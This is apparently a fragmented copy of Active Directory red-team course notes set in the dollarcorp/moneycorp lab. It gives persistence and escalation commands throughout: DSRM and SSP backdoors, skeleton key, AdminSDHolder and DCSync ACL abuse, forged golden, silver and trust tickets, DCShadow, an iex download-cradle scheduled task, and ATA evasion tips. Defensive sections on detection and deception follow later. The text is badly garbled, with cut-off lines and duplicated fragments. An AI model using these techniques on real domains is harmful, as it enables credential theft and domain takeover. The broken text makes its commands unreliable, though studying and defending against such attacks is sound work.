Step 2              New-ItemProperty "HKLM:\System\CurrentControlSet\
                    Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -
                    PropertyType DWORD
ls \\dcorp-dc\C$
Note :
1. to run this, disable realtimemonitoring
2. run the powershell session as local admin (very important to note)
Method 1
Drop the mimilib.d11 to system32 of the DC, then
Add mimilib to registry key - HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :
(PowerShell code)
Method 2
Using Mimikatz, inject into LSASS (Not stable with server 2016) :
It is possible to modify the code to create this file (kiwissp.log) in the sysvol folder (which is accessible by every machine in the
 - Well-known abuse of some of the Protected Groups are as mentioned above. All the above protected groups can log on loc
 - During Red Teams, after getting the Domain Admin privs, if we create a user and make it a member of the DA group, then it
such that our user has full permissions on the DA group without even being part of the DA group.
Tool               Command
Invoke-            Invoke-SDPropagator -timeoutMinutes 1 -showProgress -
SDPropagator       Verbose
Other than the FullControl, we can also assign other interesting permissions(ResetPassword, WriteMember) for a user to th
Tool              Command
PowerView         Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,
                  CN=System' -PrincipalSamAccountName student1 -Rights
                  ResetPassword -Verbose
PowerView         Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,
                  CN=System' -PrincipalSamAccountName student1 -Rights
                  WriteMembers -Verbose
After modifying the required permissions on the ACLs, we propagate it (SDPROP) using Invoke-SDPropagator
Then, we check if the Domain Admin permissions to see if the propagation was successful, as below :
After providing FullControl permissions to the AdminSDHolder (and DA), we can abuse it to add a member to the Domain Ad
But, we shall still see how to do it, inspite of it not being the recommended choice.
PowerView_Dev Add-DomainGroupMember -Identity 'Domain Admins' -
              Members testda -Verbose
AD Module         Add-ADGroupMember -Identity 'Domain Admins' -Members
                  testda
Tool               Command
FullControl rights
PowerView_Dev Add-ObjectAcl -TargetDistinguishedName
              'DC=dollarcorp,DC=moneycorp,DC=local' -
              PrincipalSamAccountName student1 -Rights All -Verbose
AD Module          Set-ADACL -DistinguishedName
                   'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student1 -
                   Verbose
 - Security Descriptor Definition Language(SDDL) defines the format which is used to describe a security descriptor.
 - SDDL uses ACE strings for DACL and SACL:
     ace_type, ace_flags, rights, object_guid, inherit_object_guid, account_sid
 - ACE for built-in administrators for WMI namespaces:
     A, CI, CCDCLCSWRPWPRCWD,,,SID
Reference:
https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings?redirectedfrom=MSDN
So, in the example ACE string as given above, if we replace the SID part with the SID of the user/account that we want to give
Let's see how!
There are 2 ways to do it :
1. Using GUI
2. Using the Scripts
WMI
 - In our example here, we are going to give 'studentadmin' the access to WMI onto the Domain Controller without giving adm
 - WMI authentication consists of 2 parts:
     1. We must have the privileges to connect to the DCOM endpoint.
     2. We must have the privileges to connect to the namespace.
Verify using the below command if our user (studentadmin, here) is able to query the DC using WMI.
Tool               Command
PowerShell         Get-Wmiobject -Class win32_operatingsystem -
                   ComputerName dcorp-dc.dollarcorp.moneycorp.local
Method 2: Using Scripts (Set-RemoteWMI)
ACLs can be modified to allow non-admin users access to securable objects
Tool          Command
Set-RemoteWMI Set-RemoteWMI -UserName student1 -Verbose
Verify using the below command if our user (studentadmin, here) is able to query the DC using WMI.
Tool              Command
PowerShell        Get-Wmiobject -Class win32_operatingsystem -
                  ComputerName dcorp-dc.dollarcorp.moneycorp.local
                                                                                              PowerShell Remotin
Set-           Set-RemotePSRemoting -UserName student1 -Verbose
RemotePSRemoti
ng
Set-           Set-RemotePSRemoting -UserName student1 -
RemotePSRemoti ComputerName dcorp-dc.dollarcorp.moneycorp.local -
ng             Verbose
Set-           Set-RemoteWMI -UserName student1 -ComputerName
RemotePSRemoti dcorp-dc.dollarcorp.moneycorp.local -Remove
ng
Verify using the below command if our user (studentadmin, here) is able to query the DC using WMI.
Tool              Command
PowerShell        Invoke-Command -ScriptBlock{whoami} -ComputerName
                  dcorp-dc.dollarcorp.moneycorp.local
 local admin privs and even from a non domain joined machine
Description                                           Privileges
Payload to bypass AMSI                                Normal User
he DC validates the NTLM hash of the krbtgt account when presented the ticket (TGT)
application server validates the NTLM hash of the service account when presented the TGS ticket
 so that we can access the service as any user (incl. as high priv users)
nd signed by the NTLM hash of the service account (Golden ticket is signed by the hash of the krbtgt account) of the service running with t
unts)
c...) use the machine accounts as the service accounts, hence we would be targeting machine accounts (in particular - the domain control
.
            Description                                            Privileges
            Execute mimikatz on DC (as Domain Admin) to get        Domain Admin
            domain secrets (krbtgt hash, machine account           privs
            password/hash, etc...)
r tickets.
dule a task on the target:
p.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST
on the DC) :
/RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString('
"
 a domain controller (lsass process) so that it allows access as any user with a single password.
named the skeleton key malware.
 a domain controller (lsass process) so that it allows access as any user with a single password.
named the skeleton key malware.
            Description                                         Privileges
            Injects a skeleton key (password would be mimikatz) Domain Admin
            on a DC                                             privs required
password as "mimikatz"
strator
keleton key, but it needs the mimikatz driver (mimidriv.sys) on disk of the target DC.
hose password is the DSRM password. (Note that this is NOT the RID = 500 Administrator)
promoted to Domain Controller and it is rarely changed.
NTLM hash of this user to access the DC.
ode
            Description                                             Privileges
            Dump DSRM password                                      need DA privs
            (DSRM local admin)
            login to the DC
            Create the registry key "DsrmAdminLogonBehavior" if
            it doesn't exist
an always run the following command , since we have the hash of the DSRM account and have changed the DSRM admin login behavior
:Administrator /ntlm:<hash_of_DSRM> /run:powershell.exe" '
rol\Lsa\Security Packages :
older
of the domain and used to control the permissions (using an ACL) for certain built-in privileged groups (called Protected Groups)
 nd compares the ACL of the protected groups and members with the ACL of AdminSDHolder and any differences are over-written on the o
erators, Domain Admins, Replicator, Enterprise Admins, Domain Controllers, Read-Only Domain Controllers, Schema Admins, Administrat
dmins or Built-in Admins, but can modify the nested group within these groups.
 count to a privileged group and Restore.
 sabled Browser service)
ed above. All the above protected groups can log on locally to DC.
te a user and make it a member of the DA group, then it is usually detected. Instead, what we can do is without becoming a member of th
being part of the DA group.
            Description                                             Privileges
            To run SDProp process manually using Invoke-
            SDPropagator
            Description                                        Privileges
            Add ResetPassword Permissions for a user(student1, Domain Admin
            here) to the AdminSDHolder using PowerView         privs required
            Check the Domain Admin ACLs (to verify propagation) Normal Domain
                                                                user
            Check the Domain Admin ACLs (to verify propagation) Normal Domain
                                                                user
DA), we can abuse it to add a member to the Domain Admins (or any of the protected groups) - It is not recommended
 ended choice.
            Abusing FullControl permissions to add "testda"      Domain Admin
            account to Domain Admins Group                       privs required
            Abusing FullControl permissions to add "testda"      Domain Admin
            account to Domain Admins Group                       privs required
 e
 of the domain object itself)
e modified to:
y changes' , 'Replicating Directory Changes All' & 'Replicating Directory Changes in Filtered set'
orm dcsync and dump the krbtgt hash
Description Privileges
s)
             Add rights for DCSync                                   Domain Admin
                                                                     privs required
                                                                     (No need of DA
                                                                     privs while
                                                                     executing this if
                                                                     rights were
                                                                     added)
scriptors
e Owner, Primary Group, DACL and SACL) of multiple remote access methods (securable objects) to allow access to non-admin users.
ism.
g, etc., which only admins are given access to logon to machines via, but we are going to modify the security descriptors and allow even n
e Owner, Primary Group, DACL and SACL) of multiple remote access methods (securable objects) to allow access to non-admin users.
ism.
g, etc., which only admins are given access to logon to machines via, but we are going to modify the security descriptors and allow even n
ount_sid
ings?redirectedfrom=MSDN
t with the SID of the user/account that we want to give access to the protocol namespace, then we can do so.
WMI
s to WMI onto the Domain Controller without giving admin privileges to the 'studentadmin' user.
 endpoint.
Services--Computers--My Computer > Properties > COM Security > Edit Limits (first and second one) > add > studentadmin > Give all perm
amespaces.
ications > WMI Control > Properties > Security Tab > Security > add > studentadmin > Give all permissions > advanced > studentadmin > e
           Description                                          Privileges
           Modifying ACLs to allow non-admin users access to    Domain Admin
           securable objects (using WMI) on local machine for   Privs required
           student1
           Modifying ACLs to allow non-admin users access to Domain Admin
           securable objects (using WMI) on remote machine for Privs required
           student1 without explicit credentials
           Modifying ACLs to allow non-admin users access to Domain Admin
           securable objects (using WMI) on remote machine for Privs required
           student1 with explicit credentials. Only root\cimv2
           and nested namespaces.
           Description                                           Privileges
           List the classes and info. from the DC using wmi with Normal user
           the privileges of studentadmin                        (studentadmin,
                                                                 here)
                          PowerShell Remoting
           Modifying ACLs to allow non-admin users access to    Domain Admin
           securable objects (using PS Remoting) on local       Privs required
           machine for student1
           Modifying ACLs to allow non-admin users access to    Domain Admin
           securable objects (using PS Remoting) on remote      Privs required
           machine for student1 without explicit credentials
           Modifying ACLs to remove non-admin users access to Domain Admin
           securable objects (using WMI)                      Privs required
ble to query the DC using WMI.
           Description                                             Privileges
           PS Remote onto the DC using PS Remoting with the        Normal user
           privileges of studentadmin                              (studentadmin,
                                                                   here)
            Using the DCSync option needs no code execution (no need to run
            Invoke-Mimikatz) on the target DC.
e ticket (TGT)
 resented the TGS ticket
d by the hash of the krbtgt account) of the service running with that account
be targeting machine accounts (in particular - the domain controller machine account)
arget:dcorp-dc.dollarcorp.moneycorp.local /service:HOST
(New-Object Net.WebClient).DownloadString('
target DC.
0 Administrator)
by Microsoft are :
ty 'Security Packages'
ain built-in privileged groups (called Protected Groups)
L of AdminSDHolder and any differences are over-written on the object ACL (ACL of protected groups).
oups.
ed. Instead, what we can do is without becoming a member of the Domain Admins group, we can modify the ACLs
very silent
very silent
we are going to modify the security descriptors and allow even non-admin users to use the protocols and logon to
hods (securable objects) to allow access to non-admin users.
we are going to modify the security descriptors and allow even non-admin users to use the protocols and logon to
he 'studentadmin' user.
mits (first and second one) > add > studentadmin > Give all permissions (allow all
dentadmin > Give all permissions > advanced > studentadmin > edit > type:allow
J0y/DAMP)
       Load the module before executing the script :
       . .\Add-RemoteRegBackdoor.ps1
       With this (Machine account hash), we can create a silver ticket for
       any service on the Domain Controller
                                                                                                Method 1 - Trust
 - Child to Forest root using trust tickets.
 - So, what is required to forge trust tickets, is obviously the trust key.
 - Look for [In] trust key from child to parent
Step 1 : Get the trust key
Mimikatz (Invoke-        Invoke-Mimikatz -Command ' "lsadump::trust /patch" ' -
Mimikatz)                ComputerName dcorp-dc
                                          (or)
Mimikatz (Invoke-        Invoke-Mimikatz -Command ' "lsadump::dcsync /user:dcorp\
Mimikatz)                mcorp$"'
After forging the inter-realm tgt, we need to present it to the parent DC and ask for TGS
Step 3 : Get a TGS for a service (like CIFS) in the target domain by using the forged trust ticket
kekeo_old                 .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi
(asktgs.exe)              CIFS/mcorp-dc.moneycorp.local
Step 4 : convert the TGS to an injectable format and inject it (using kirbikator - kekeo-old)
kekeo_old               .\kirbikator.exe lsa <TGS ticket>
(kirbikator.exe)
Now, we should be able to access the file system (CIFS) in the parent domain controller
                                                                                          Method 2 - KRBTG
We will abuse the SID history, once again.
Invoke-Mimikatz -Command ' "lsadump::lsa /patch" '
Mimikatz (Invoke-       Invoke-Mimikatz -Command ' "kerberos::golden
Mimikatz)               /user:Administrator /domain:dollarcorp.moneycorp.local
                        /sid:<Domain_SID> /sids:<Enterprise Admins SID>
                        /krbtgt:<krbtgt hash> /ticket:C:\AD\Tools\krbtgt_tkt.kirbi" '
Note : incase, you want to abuse the HOST service instead of CIFS, you can check whether the target HOST service in the paren
gwmi -Class win32_operatingsystem -ComputerName mcorp-dc
(this is just like how we used to test "ls \\mcorp-dc.moneycorp.local\c$" for CIFS, only this one(gwmi) is for HOST service and n
Injecting the forged TGT
Mimikatz (Invoke-        Invoke-Mimikatz -Command ' "kerberos::ptt C:\AD\Tools\
Mimikatz)                krbtgt_tkt.kirbi" '
Note :
Instead of using the SID history of Enterprise Admins group, we can stay more silent and avoid suspicious logs by abusing the S
- kekeo-old)
              Injecting the TGS to access the target service   Normal Domain User
controller
eck whether the target HOST service in the parent domain is accessible by:
IFS, only this one(gwmi) is for HOST service and not CIFS)
e silent and avoid suspicious logs by abusing the SID history of Domain Controllers group and Enterprise Domain Controllers group.
larcorp.moneycorp.local /sid:<domain_sid> /groups:516 /sids:<domain controllers group SID> , <enterprise domain controllers group SID>
Information Obtained / Comments
Here, the NETBIOS name of the parent domain is
mcorp. So, we have given the user value as dcorp\
mcorp$
Tickets for other services (like HOST & RPCSS for WMI,
HOST and HTTP for PowerShell Remoting and WinRM)
can be created as well.
Tool                    Command
Mimikatz (Invoke-       Invoke-Mimikatz -Command ' "lsadump::lsa /patch" '
Mimikatz)
            Description                                            Privileges
            dump domain secrets                                    Domain Admin
            (get the trust key)
est's DC
 has the Trust Key and sends the TGS to the client.
t mean that the member will get DA privs in other forest (trusted) as well,
Tool           Command
Mimikatz       !+
(Mimikatz.exe) !processtoken
               lsadump::dcshadow /object:root1user
               /attribute:Description /value:"Hello from DCShadow"
Instance1
Mimikatz       lsadump::dcshadow /push
(Mimikatz.exe)
Instance2
 - DCShadow can be used with minimal permissions by modifying ACLs of :
1. The domain object:
   * DS-Install-Replica (Add/Remove Replica in Domain)
   * DS-Replication-Manage-Topology (Manage Replication topology)
   * DS-Replication-Synchronize (Replication Synchronization)
2. The sites object (and it's children) in the configuration container
   * CreateChild and DeleteChild
3. The object of the computer which is registered as a DC
   * WriteProperty (Not Write)
4. The target object
   * WriteProperty (Not Write)
Now, the second mimikatz instance (which runs as DA) is not required.
After executing the above with DA privs, do the same thing on instance 1.
Now, start the instance 2 with SYSTEM privs of student1 and run DCShadow (no need of DA privs)
 - Once we have permissions sorted out, so much of other interesting stuff can be done.
 - 1.) set SIDHistory of a user account to Enterprise Admins or Domain Admins group :
     lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-5-21-560323961-2032768757-2425134131-519
Once these changes are pushed (i.e, lsadump::dcshadow /push) , the student1 user runs with the privs of Enterprise Admins
 - 2.) Another interesting thing to do is, we can set the primaryGroupID of a user account to Enterprise Admins or Domain Adm
     lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
Note that, after the above command is used, the user shows up as a member of the Enterprise Admins group in some enumer
Current ACL
Add ACL with     The SID for our user can be obtained from Get-
the SID of our   NetUser
user
Modifying the
ACL
Push the
changes waiting
on the RPC
server
(DCShadow)
Shadowception:
 It is possible to run DCShadow from DCShadow - ( a.k.a, Shadowception ):
We need to append our User's SID (UserSID) at the end of the following ACEs :
1. On the domain object:
   (0A;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
   (0A;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
   (0A;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
3. On the target user object: (so that it can modify it's own attributes)
   (A;;WP;;;UserSID)
• If we maintain access to the computer for which we modified the permissions with the user whose SID we added, we can mo
• Let's see how we can modify properties of root13user from mcorp-student13 machine as studentl3 using DCShadow.
Modifying the
ACLs
(please note the
use of the
"stack"
paarameter in
the command
Modifying the On the attacker computer object
ACLs
(please note the
use of the
"stack"
paarameter in
the command
RPC server is
waiting for push
from the DC, so
let's push the
modifications
             Description                                             Privileges
             start RPC service and specify attributes to be modified SYSTEM privs
pology)
ainer
ng the permissions.
er object from machine mcorp-student1: (this should be executed as DA)
ccountName root1user -Username student1 -Verbose
required.
n instance 1.
run DCShadow (no need of DA privs)
sh) , the student1 user runs with the privs of Enterprise Admins (SID-519)
up as a member of the Enterprise Admins group in some enumeration techniques like net group "Enterprise Admins" /domain
 g DCShadow, as well.
 add FullControl for a user
y("LDAP://CN=AdminSDHolder, CN=System, DC=moneycorp, DC=local")).psbase.ObjectSecurity.sddl
ve for SY/BA/DA with our user's SID at the end
=System, DC=moneycorp, DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>
=System, DC=moneycorp, DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>
dowception ):
//DC=moneycorp, DC=local")).psbase.ObjectSecurity.sddl
e following ACEs :
D)
ttributes)
ed the permissions with the user whose SID we added, we can modify the attributes of the specific user whose permissions we modified.
 mcorp-student13 machine as studentl3 using DCShadow.
Information Obtained / Comments
We are using mimikatz.exe instead of invoke-
mimikatz, because the script does not show proper
output for DCShadow
ques like net group "Enterprise Admins" /domain
se.ObjectSecurity.sddl
odified ACL>
odified ACL>
ibutes of the specific user whose permissions we modified.
Detection and Defense
 - Look for flow of credentials and privileges in your environment
 - Log events & most importantly, monitor logs
 - Purple Teaming
 - Work culture & Architectural changes
Mitigations:
 - Running lsass.exe as a protected process is really handy as it forces an attacker to load a kernel mode driver.
 - Make sure that you test it thoroughly as many drivers and plugins may not load with the protection.
New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\LSA\ -Name RunAsPPL -Value 1 -Verbose
Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*"}
Mitigations:
 - Running lsass.exe as a protected process is really handy as it forces an attacker to load a kernel mode driver.
 - Make sure that you test it thoroughly as many drivers and plugins may not load with the protection.
New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\LSA\ -Name RunAsPPL -Value 1 -Verbose
 Mitigations:
   * Service account passwords should be hard to guess (greater than 25 characters)
   * Use managed service accounts (automatic change of passwords periodically and delegated SPN management)
• Useful tool AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner
Detection and Defense - ACL attacks
• Events
Security Event ID 4662 (Audit Policy for object must be enabled) — An operation was performed on an object
Security Event ID 5136 (Audit Policy for object must be enabled) — A directory service object was modified
Security Event ID 4670 (Audit Policy for object must be enabled) — Permissions on an object were changed
• Useful tool AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner
Selective Authentication
• In an inter-forest trust, if Selective Authentication is configured, users between the trusts will not be automatically authentic
• Individual access to domains and servers in the trusting domain/forest should be given.
vers is necessary, do not allow other administrators to login to that machine.
 otected users groups, etc...) which we'll discuss below are rendered useless incase of a service account.
 to be enabled which can't be turned off later)
ew-TimeSpan -Minutes 20)
perty *
perty *
rity
de Driver*"}
mode driver.
tion.
 rbose
de Driver*"}
mode driver.
tion.
 rbose
ess*"}
DsrmAdminLogonBehaviour
ecurityPackages
PN management)
e.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("
n an object
modified
changed
ix1/ADACLScanner
n an object
modified
changed
ix1/ADACLScanner
t be automatically authenticated.
@*' -and $_.Message.split("`n")[18] -like
Detection and Defense - ATA
 - Microsoft ATA (Advanced Threat Analytics)
 - Traffic destined for Domain Controller(s) is mirrored to ATA sensors and a user activity profile is built over time - use of com
 - Collects events 4776 (The DC attempted to validate the credentials for an account) to detect credential replay attacks.
 - Can detect behavior anomalies
 - Useful for detecting:
     * Recon : Account enum, Netsession enum
     * Compromised credential attacks : Brute force, high privilege account/service account exposed in clear text , honey token
     * Credential / hash / ticket replay attacks
  - One thing about ATA is that, say for eg: we run Invoke-UserHunter, ATA does not complaint about the list of computers and
on the Domain Controllers.
 - So, what we can do is, first use Get-NetComputer, remove the DCs from that list and pass that new list as a parameter to In
Invoke-UserHunter -ComputerFile <listofmachines>
 - Similarly, while doing PTH using mimikatz, to avoid detection from ATA, we can use the AES keys along with the ntlm hash t
 - Same applies to Golden tickets as well.
 - ATA detects DCSync, does not detect DCShadow
 - ATA doesn not detect Silver Tickets
The key to bypassing ATA is to avoid talking to the DC as long as possible and make appear the traffic we generate as attacker
is built over time - use of computers, credentials, logon machines, etc.
credential replay attacks.
about the list of computers and group memberships we request/enumerate from the DC. It only complains that a session enumeration wa
Credential Guard
 - Now called Windows Defender Credential Guard, it "uses virtualization based security to isolate secrets(say lsass), so that o
 - Effective in stopping PTH and over-PTH attacks by restricting access to NTLM hashes and TGTs. As of Windows 10 1709, it is
 - But, credentials for local accounts in SAM and service account credentials from LSA secrets are NOT protected by Credentia
 - Credential Guard cannot be enabled on a domain controller as it breaks authentication there.
 - Only available on the windows 10 enterprise edition and server 2016.
 - It has been proved possible to replay service account credentials for lateral movement even if credential guard is enabled.
Device Guard
 - Now called, Windows Defender Device Guard, it is a group of features "designed to harden a system against malware attack
 - Three primary components :
     * Configurable Code Integrity (CCI) - configure only trusted code to run
     * Virtual secure mode protected code Integrity - Enforces CCI with Kernel mode (KMCI) and User mode (UMCI)
     * Platform and UEFI Secure Boot - Ensures boot binaries and firmware integrity
 - UMCI code integrity means to allow only known good code to run
 - UMCI is something that interferes with most of the lateral movement attacks we have seen.
 - While it depends on the deployment, many well known application whitelisting bypasses - signed binaries like csc.exe, MSB
* Protected Users is a group introduced in Server 2012 R2 for "better protection against credential theft" by not caching crede
A user added to this group:
  — Cannot use CredSSP and WDigest - No more cleartext credentials caching.
  — NTLM hash is not cached.
  — Kerberos does not use DES or RC4 keys. No caching of clear text cred or long term keys.
  — No NTLM authentication.
  — No DES or RC4 keys in Kerberos pre-auth.
  — No delegation (constrained or unconstrained)
  — No renewal of TGT beyond initial four hour lifetime - Hardcoded, unconfigurable "Maximum lifetime for user ticket" and
  — No NTLM authentication.
  — No DES or RC4 keys in Kerberos pre-auth.
  — No delegation (constrained or unconstrained)
  — No renewal of TGT beyond initial four hour lifetime - Hardcoded, unconfigurable "Maximum lifetime for user ticket" and
— Tier 0- Accounts, Groups and computers which have privileges across the enterprise like domain controllers,
domain admins, enterprise admins. .
— Tier 1- Accounts, Groups and computers which have access to resources having significant amount of business
value. A common example role is server administrators who maintain these operating systems with the ability to
impact all enterprise services.
— Tier 2 - Administrator accounts which have administrative control of a significant amount of business value that is
hosted on user workstations and devices. Examples include Help Desk and computer support administrators
because they can impact the integrity of almost any user data.
te secrets(say lsass), so that only privileged system software can access them"
. As of Windows 10 1709, it is not possible to write kerberos tickets to memory even if we have credentials.
e NOT protected by Credential Guard.
system against malware attacks. It's focus is preventing malicious code from running by ensuring only known good code can run"
ned binaries like csc.exe, MSBuild.exe etc. - are useful for bypassing UMCI as well.
m lifetime for user ticket" and "Maximum lifetime for user ticket renewal"
m lifetime for user ticket" and "Maximum lifetime for user ticket renewal"
ain controllers,
mount of business
with the ability to
Let's create some objects which can be used for deceiving adversaries. We can use Deploy-Deception for this: https://github.
Note:
We should turn on Audit for Directory service access using Group Policy in order to use deploy-deception in our AD environme
Windows Settings -> Security settings -> Advanced Audit policy configuration -> DS access - audit directory service access
Tool                  Command
Deploy-Deception      Create-DecoyUser -UserFirstName user -
                      UserLastName manager -Password Pass@123 |
                      Deploy-UserDeception -UserFlag
                      PasswordNeverExpires -Verbose
Now, after we have deployed the decoy user in the domain, if any kind of user enumeration is done on the domain, it leaves a
Now, after we have deployed the decoy user in the domain, if any kind of user enumeration is done on the domain, it leaves a
 - A GenericRead or ReadProperty triggers a 4662 in all cases even when the decoy user is not specifically enumerated.
For eg, following commands trigger a 4662 for decoy user called "usermanager" :
 - net user /domain
 - Get-WmiObject -Class win32_UserAccount
 - Get-ADUser -Filter * (ActiveDirectory Module)
 - Get-NetUser (PowerView and other LDAP based tools)
 - Find users, contacts and Groups - GUI
Hence, we need a way to trigger log only when absolutely necessary. One way to do it is by triggering logs only when an uncom
 - So, a better use case is to get a log entry only when an obscure/uncommon property is read.
 Let's create a decoy user "usermanager-uncommon" whose password never expires and turn on auditing when x500uniqueId
Tool                  Command
Deploy-Deception      Create-DecoyUser -UserFirstName user -
                      UserLastName manager-uncommon -Password
                      Pass@123 | Deploy-UserDeception -UserFlag
                      PasswordNeverExpires -GUID d07da11f-8a3d-42b6-
                      b0aa-76c962be719a -Verbose
 - For the previous decoy user, only LDAP based tools like PowerView, ADExplorer etc. trigger 4662
 - Tools which use LDAP or other offensive tools fetch all the information in a single attempt which make them stand out.
 - Since we are targeting very basic enumeration, which means there is a lot of noise, this is useful for filtering out some of the
 - Results are quite similar for user SPN (You may like to use a Kerberoastable password when targeting lateral movement) :
Create-DecoyUser -UserFirstName user -UserLastName manager-spn -Password Pass@123 | Deploy-UserDeception -SPN 'dc
This way, we can lead the adversary to kerberoast the user and crack the password. And, once they use the password for later
Tool                  Command
Deploy-Deception      Create-DecoyUser -UserFirstName user -
                      UserLastName manager-uncommon -Password
                      Pass@123 | Deploy-UserDeception -UserFlag
                      PasswordNeverExpires -GUID d07da11f-8a3d-42b6-
                      b0aa-76c962be719a -Verbose
                                                                                Deception in AD - Decoy co
 - Just like decoy users, Blue teamers can deploy decoy computer objects as well.
 - It is better to use actual computers as decoys to avoid easy identification. Decoy computers should either be VMs or turned
 - What computers are the attackers interested in?
   * Older Operating Systems
   * Interesting SPN
   * Delehgation Settings
   * Membership of Privileged Groups
Tool                  Command
Deploy-Deception      Create-DecoyComputer -ComputerName dcorp-web -
                      Verbose | Deploy-ComputerDeception -PropertyFlag
                      TrustedForDelegation -GUID d07da11f-8a3d-42b6-
                      boaa-76c962be719a -Verbose
                                                                                   Deception in AD - Decoy G
 - Just like decoy users and decoy computers, Blue teamers can deploy decoy groups as well.
 - Groups are interesting to attackers. We can have decoy groups with logging enabled for interesting activity like when Group
x500UniqueIdentifier or the DACL is read.
 - We can make a Group, a member of other interesting groups.
 - We can also create decoy users and make them member of the decoy group we are creating.
Tool                  Command
Deploy-Deception      Create-DecoyGroup -GroupName "Forest Admins" -
                      Verbose | Deploy-GroupDeception -AddMembers
                      usermanager -AddToGroup dnsadmins -Right
                      ReadControl -Verbose
Note:
To enable Audit Kerberos Authentication Service:
Configuration > Windows settings > security settings > advanced audit policy configuration > audit policies > account logon > A
Tool                  Command
Deploy-Deception      Create-DecoyUser -UserFirstName dec -UserLastName
                      da -Password Pass@123 | Deploy-
                      PrivilegedUserDeception -Technique
                      DomainAdminsMembership -Protection DenyLogon -
                      Verbose
 - Another interesting technique is to provide a "master" user FullControl over a "slave" user. This makes both the master and
 - Like the previous one, this technique is also useful in both the enumeration - specifically ACL enumeration and lateral move
 - For targeting lateral movement, we can make either slave or master or both privileged users, set SPN or any other flag we s
Tool                  Command
Deploy-Deception      Create-DecoyUser -UserFirstName master -
                      UserLastName user -Password Pass@123
• In an assume breach scenario or from a foothold box, you can always get the actual DC by looking at logonserver env variab
 computers. Compare SID of other users with RID 500 and other built-in accounts.
• For multiple solutions, using WMI for retrieving information lists only the actual objects and not the fake ones.
• please stop going for the lowest hanging fruit. Enterprise networks are a mess, but if something looks too good to be true, in
• Avoid automated enumeration tools unless you absolutely know what they are doing in the background.
• Avoid the urge to go for DA privs so that you can brag about it in the reports! Focus on the goal of your operation.
A tool which does a fantastic job at identifying fake domain admins is Invoke-HoneypotBuster
Tool                 Command
Invoke-              Invoke-HoneypotBuster -OpSec
HoneypotBuster
Deploy-Deception addresses this to a limited extent by starting (and stopping) a process as the decoy DA when LogonWorksta
This fills up the "suspicious" properties.
Please be warned that the CreateLogon option in the above command will also create a profile for the decoy DA on the DC.
                    Deception in AD - Decoy users
 ense.
  into following a particular attack path which increases chances of detection and increase their cost in terms of time.
ntials on some boxes and check their usage but we can use it effectively during other phases of an attack.
 ging fruit and illusive superiority over defenders.
r example, what adversaries look for in a user object:
            Description                                      Privileges
            create a decoy user "usermanager" whose password Domain Admin
            never expires and turn on GenericRead for
            "Everyone"
y kind of user enumeration is done on the domain, it leaves a 4662 code in the logs
y kind of user enumeration is done on the domain, it leaves a 4662 code in the logs
ary. One way to do it is by triggering logs only when an uncommon property is enumerated.
            Description                                            Privileges
            Alerting the logs for a 4662 only when all the         Domain Admin
            properties are read, thus filtering out the noise of
            unwanted 4662 logs.
ack the password. And, once they use the password for lateral movement, there will be a log entry.
            Description                                            Privileges
            create a decoy user "usermanage-uncommon" and         Domain Admin
            configuring settings to log alerts only when a
            particular (or) all the properties are enumerated.
            Description                                           Privileges
            Create a computer object for auditing whenever        Domain Admin
            x500UniqueIdentifier is read
c a Domain Controller
            Description                                           Privileges
            Auditing when the DecoyGroup DACL is read               Domain Admin
audit policy configuration > audit policies > account logon > Audit Kerberos Authentication Service > success
            Description                                             Privileges
            create a decoy user "decda" who is a member of the      Domain Admin
            domain admins group and is denied logon.
llControl over a "slave" user. This makes both the master and slave users interesting for an adversary looking at ACLs.
enumeration - specifically ACL enumeration and lateral movement phase.
 aster or both privileged users, set SPN or any other flag we saw in Deploy-UserDeception.
            Description                                             Privileges
             create a slave user and set FullControl over it for a     Domain Admin
             master user for targeting enumeration.
an object which can be easily spotted by comparing attributes with a real computer, say, the domain controller.
 lways get the actual DC by looking at logonserver env variable. Use the DC or your own computer object's properties to compare properti
 built-in accounts.
y deception.
rks are a mess, but if something looks too good to be true, investigate carefully!
Description Privileges
nd stopping) a process as the decoy DA when LogonWorkstation is set to one of the DCs.
mand will also create a profile for the decoy DA on the DC.
and increase their cost in terms of time.
g other phases of an attack.
k/Deploy-Deception
e logs
e logs
s enumerated.
or "Everyone"
erDeception.
 ly!
               Information Obtained / Comments
of the DCs.
1. WhiteListing
 - Use application control policies (Applocker) and Device Guard to restrict PowerShell scripts. If Applocker is configured in "Al
 - In the constrained language mode, all windows cmdlets and elements are allowed but allows only limited types.
   For eg: Add-Type,Win32APIs, COM objects are not allowed.
 - Both are supported by GPO, your mileage may vary according to your implementation preferences.
WhiteListing Bypasses
Please be mindful of whitelisting implementation. For eg, if powershell.exe is blocked , .NET code can use System.Managemen
C:\Windows\Microsoft.NET\Framework\v4.0.30319 > msbuild.exe pshell.xml
2. Enhanced Logging
 - PS v5 supports Enhanced Logging - script block logging and system-wide transcription.
 - This allows Blue Teams to have a very in-depth look of an attacker's actvities if he is using PowerShell.
A. System-wide Transcription
 - Enables transcription (console logging) for everything (powershell.exe, PowerShell ISE, custom hosts - .NET DLL, msbuild, ins
